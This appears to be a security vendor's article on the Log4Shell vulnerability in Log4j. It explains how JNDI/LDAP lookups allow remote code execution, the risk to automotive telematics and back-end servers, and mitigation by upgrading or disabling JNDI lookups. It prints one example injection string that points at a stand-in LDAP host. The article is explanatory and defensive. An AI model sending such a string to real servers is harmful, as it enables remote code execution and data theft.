Resources

The impact of Log4j: Attack Mechanisms and Threat Mitigation in the Automotive Domain 

 

A month ago, Log4Shell (CVE-2021-44228) was introduced to the world as one of 2021’s most critical vulnerabilities. 

The source of this vulnerability is Log4j, which is an open source logging library written in Java and commonly used by a number of popular frameworks including Elasticsearch, Kafka and Flink. These frameworks underpin many popular websites and services, including those used within the automotive industry. Apache Log4j 2 versions 2.0 to 2.14 are affected.  

 

 

How is the Log4Shell Vulnerability Exploited? 

 

Given that logging libraries typically just write messages to a log file or database, we are used to thinking of them as passive. Log4j, however, is a library that is capable of processing strings before saving them to a log file. Variables defined as ${variable}, for example, can be extended and manipulated via replacement with a current user’s actual values at the moment of logging code execution. Thus, the log.info("${user.username}”) expression will log the actual username of the current user. 

 

The dynamic information required for logging can be retrieved locally or from a remote machine. Log4j uses the Java Naming and Directory Interface (JNDI) for remote lookups using different services and protocols such as LDAP, DNS, and RMI. 

 

In particular, the JNDI lookup combined with LDAP protocol will retrieve a specified Java class from a remote source and deserialize it in order to execute some of the class's code. 

In other words, the attacker can gain control of remote code execution if any part of the logged string can be controlled remotely by him. Most often, attackers exploit substitution strings like the following: ${jndi:ldap://somedomain.com}. 

An attacker can do this by sending HTTP requests to a web server; the lookup method will then download and execute malicious code on the attacker's LDAP server. 

 

 

How does Log4Shell impact the Automotive industry? 

Connected vehicles collect information about every detail of their life cycle through their OEMs' telematics and application back-end servers. In addition to OEM servers, vehicle communication may also involve aftermarket companies such as insurance companies, fleet management companies, rental car and leasing companies, etc. Log4Shell vulnerability can be exploited in any place where the vehicles and companies' servers have open channels.. 

 

It is application severs that are communicating with the vehicles. Like many other servers, they are tasked with reading and writing data, which makes them susceptible to attacks such as injection attacks. 

 

As an example, the Log4Shell vulnerability compromises the security of any automotive-related server, given that data passing between the vehicle and server is collected, stored, and logged over a period of time and on multiple platforms. As a result, vehicle data at risk may expose personal information about customers or logs sent by the fleet. 

 

Once the attackers have gained access to company assets by communicating directly with the telematics data servers, as well as to the back-end infrastructure and internal servers, attackers can bypass many existing security controls and have an impact on connected vehicles. 

 

In 2019, we saw how internal systems can be affected by this kind of attack, as well as how attacks may originate from vehicle interfaces. This incident involved a hacker setting a nickname for his Tesla model 3, which led the OEM's server to expose private vehicle information. He exploited a stored cross-site scripting (XSS) vulnerability in the system, allowing him to obtain – and conceivably modify – vehicle information. Some of Tesla's internal application data was exposed. 

 

 

How to Quickly Mitigate against the Log4j Vulnerability and Stop Future Exploits 

 

Log4j poses a critical threat to organizations; the assumption should be that it is not safe. Every security team should therefore be focused on identifying vulnerabilities and fixing exposures in the moment, by searching across the entire IT infrastructure – regardless of whether servers are running Windows, Linux, or Mac – for any Java code, so as to determine if it uses the Log4j library. Anywhere that Log4j is found, it needs to be updated to the latest available version (2.17.1, at time of writing / Jan 2022). 

 

In some cases, immediate patching is not possible. Packaged products from third-party vendors may contain vulnerable versions of the popular logging library that don't allow users to update without updating the entire product. In such cases, users are dependent upon their vendor’s release of updates. 

 

This vulnerability can be resolved by disabling the use of JNDI message lookups, which is possible in Log4j 2.16.0. This can also be achieved by essentially ripping out the entire JndiLookup class from an affected Log4j package.